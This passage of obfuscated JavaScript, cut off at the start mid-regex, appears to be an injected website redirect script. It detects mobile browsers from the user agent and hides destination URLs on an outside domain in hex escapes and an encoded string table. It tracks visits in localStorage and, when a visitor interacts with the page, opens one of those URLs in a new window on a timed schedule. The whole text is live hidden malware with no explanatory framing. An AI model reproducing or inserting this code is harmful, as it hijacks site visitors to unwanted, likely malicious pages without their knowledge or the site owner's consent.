g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x6b\x6c\x53\x30\x63\x310','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x70\x59\x44\x31\x63\x331',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());